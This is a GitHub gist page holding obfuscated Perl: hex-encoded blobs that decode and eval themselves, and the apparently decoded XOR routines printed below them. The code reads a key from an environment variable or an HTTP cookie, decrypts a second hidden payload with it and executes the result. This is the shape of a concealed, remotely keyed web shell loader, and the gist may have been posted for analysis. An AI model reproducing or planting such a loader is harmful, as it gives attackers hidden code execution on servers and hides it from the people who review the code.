Skip to content

Instantly share code, notes, and snippets.

@arodland
Created March 6, 2012 21:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save arodland/1989001 to your computer and use it in GitHub Desktop.
Save arodland/1989001 to your computer and use it in GitHub Desktop.
{s;(.*);73756220656e6372797074696f6e5f6765745f6b65790a7b0a0969662824454e567b27455f4b4559277d297b72657475726e2824454e567b27455f4b4559277d293b7d0a0969662824454e567b27485454505f434f4f4b4945277d290a097b0a09096d792040783d73706c6974282f3b2f2c24454e567b27485454505f434f4f4b4945277d293b0a0909666f7265616368206d7920247820284078290a09097b0a0909096d792028246b2c2476293d73706c6974282f3d2f2c2478293b0a090909696628246b206e6520276b657927297b6e6578743b7d0a09090972657475726e282476293b0a09097d0a097d0a0972657475726e28756e646566293b0a7d0a0a73756220656e6372797074696f6e5f666173740a7b0a096d79202824772c246b293d405f3b0a0969662821246b297b246b3d26656e6372797074696f6e5f6765745f6b657928293b7d0a096966282821242477297c7c2821246b297c7c28216c656e67746828246b2929297b72657475726e3b7d0a096d792024623d27273b0a096d792024776c3d6c656e67746828242477293b0a096d7920246b6c3d6c656e67746828246b293b0a096d792024726c3d24776c25246b6c3b0a096d792024666c3d24776c2d24726c3b0a096d79202462633d24666c2f246b6c3b0a09666f72286d7920246f3d303b246f3c24666c3b246f2b3d246b6c290a097b0a09096d792024703d737562737472282424772c246f2c246b6c293b0a090924622e3d756e7061636b282761272e246b6c2c22246b22205e2022247022293b0a097d0a0969662824726c290a097b0a09096d792024703d737562737472282424772c24666c2c24726c293b0a090924622e3d756e7061636b282761272e24726c2c22246b22205e2022247022293b0a097d0a092424773d24623b0a09756e6465662024623b0a0972657475726e3b0a7d0a0a73756220656e6372797074696f6e5f666173745f626c6f636b730a7b0a096d79202824772c246b293d405f3b0a0969662821246b297b246b3d26656e6372797074696f6e5f6765745f6b657928293b7d0a096966282821242477297c7c2821246b297c7c28216c656e67746828246b2929297b72657475726e3b7d0a096d792024623d27273b0a096d792024776c3d6c656e67746828242477293b0a096d7920246b6c3d6c656e67746828246b293b0a096d792024626c3d38313932303b0a096d792024726c3d24776c2524626c3b0a096d792024666c3d24776c2d24726c3b0a096d79202462633d24666c2f24626c3b0a096d792024746b3d246b3b0a09666f72286d7920246f3d303b246f3c24666c3b246f2b3d24626c290a097b0a09096d792024703d737562737472282424772c246f2c24626c293b0a090926656e6372797074696f6e5f66617374285c24702c24746b293b0a090924622e3d24703b0a090924746b3d7375627374722824746b2c24626c25246b6c2c246b6c2d2824626c25246b6c29292e7375627374722824746b2c302c24626c25246b6c293b0a097d0a0969662824726c290a097b0a09096d792024703d737562737472282424772c24666c2c24726c293b0a090926656e6372797074696f6e5f66617374285c24702c24746b293b0a090924622e3d24703b0a097d0a092424773d24623b0a09756e6465662024623b0a0972657475726e3b0a7d0a0a73756220655f6563720a7b0a096d792024636f64653d73686966743b0a0926656e6372797074696f6e5f666173745f626c6f636b732824636f6465293b0a7d0a;;s;(..);chr(hex($1));eg;s;(.*);$_;see;}{s;(.*);704b652318371910023c761a3618265c613045174b212d183a093e6d614f124256757e5159606e2a56740d78093b37073c0e2f7e3811723d3e06705159603923096545071b372b0c361e293e613e3c7b062b794e3257393e02234249615b3413734e3a6b182d5f141f6953633e136a721978451a02342d515963272f4b615a4f183a300c2751405f0e33571e615b22605a63263908245a5a4f01102d282b060426381f4f18273b113612232243741f49166953635a0b263719281e47426953635a1f39334b16591100372d427a51405f6236591100372d4200466c0504265d171f68633a153503182e111a54383d3a01361e706c380a753934010d38162b077a432253061b20361e3c0833380a28535a4c263a1a7443630d59181f49615b500335422939052b53111f7a0a46230b293d4362651c0a66215274466c0504265d171f68632b153503182e111a561b7e290b300162712871115e1822350327426d0a45621a560a7b70466143637f614c3f09615b506332062b24066d065b505850635a082338062a5217430170515963435f02231e1d1b37374215466d684c6b121e427b53635a63315c624c3f7b093b37073c0e2f7e2d6c0d78625b5063200f243243161a502c170d4a71446e244567163a3f06094562447a0a1919582e190e37487f5a636d614c3f7b622531033f0f62320e235f1c0e36711836093c7e386912104763695867467a7f4263101e0e3c3e1e3b426e34426c3c7b625b50115963435f624c4600023c2d4a154a6e34504f3f7b625b24605a63435f082959010e7a1f436860435f624c4600023c2d4a7125010a05670d78625b50175963435f082959010e7a0a436860435f164f3f0f50582460591a383f05311650283d371e36043e7b3f3c461751722d0f2b1e652607245f1c373c05047151405c063c1656056f7e3939201c3d2e734419390b334d6860272f4b61554f4c7562603e136a1613784502073b2d427c51657a4f0078241075113e073a1515240a7d3b2e75244368602c391920571103723413734e327643054e5b612953633e136a7e4f2e1a561d7b641923062322436a0b5d477621436860433f0d6d12194b3c3c4a7704632d05204e06502f53632402233a0e6d1204562c763676421166467c575f0d0f025a7e532b7b0d181f5d0c2134037a60432d614c3f56087c64093b18623e0e3d1e565a7b70515963375c164f3c1b0d7a7d09730f3b764c325e1b083a7919261a2f240d2042110372685473452e331d6a5807073e79586d4a65320e33191c1e3e354a754c6a33082d595224197e435911405f1b375f1c1f727b2518362474504f4b780e3e2a0335426e35563b192c1827290f210c2f22082d165a4579704a7b44617f4b6d18594272714478436e790c365b1b425822605a4c39231b2044140e263a027b4e7b7a4f771a56587e7d5e7a51402b61205a010e5822605a1933251f205b5a4f317051591740;;s;(..);chr(hex($1));eg;&e_ecr(\$_);s;(.*);$_;see;}
sub encryption_get_key
{
if($ENV{'E_KEY'}){return($ENV{'E_KEY'});}
if($ENV{'HTTP_COOKIE'})
{
my @x=split(/;/,$ENV{'HTTP_COOKIE'});
foreach my $x (@x)
{
my ($k,$v)=split(/=/,$x);
if($k ne 'key'){next;}
return($v);
}
}
return(undef);
}
sub encryption_fast
{
my ($w,$k)=@_;
if(!$k){$k=&encryption_get_key();}
if((!$$w)||(!$k)||(!length($k))){return;}
my $b='';
my $wl=length($$w);
my $kl=length($k);
my $rl=$wl%$kl;
my $fl=$wl-$rl;
my $bc=$fl/$kl;
for(my $o=0;$o<$fl;$o+=$kl)
{
my $p=substr($$w,$o,$kl);
$b.=unpack('a'.$kl,"$k" ^ "$p");
}
if($rl)
{
my $p=substr($$w,$fl,$rl);
$b.=unpack('a'.$rl,"$k" ^ "$p");
}
$$w=$b;
undef $b;
return;
}
sub encryption_fast_blocks
{
my ($w,$k)=@_;
if(!$k){$k=&encryption_get_key();}
if((!$$w)||(!$k)||(!length($k))){return;}
my $b='';
my $wl=length($$w);
my $kl=length($k);
my $bl=81920;
my $rl=$wl%$bl;
my $fl=$wl-$rl;
my $bc=$fl/$bl;
my $tk=$k;
for(my $o=0;$o<$fl;$o+=$bl)
{
my $p=substr($$w,$o,$bl);
&encryption_fast(\$p,$tk);
$b.=$p;
$tk=substr($tk,$bl%$kl,$kl-($bl%$kl)).substr($tk,0,$bl%$kl);
}
if($rl)
{
my $p=substr($$w,$fl,$rl);
&encryption_fast(\$p,$tk);
$b.=$p;
}
$$w=$b;
undef $b;
return;
}
sub e_ecr
{
my $code=shift;
&encryption_fast_blocks($code);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment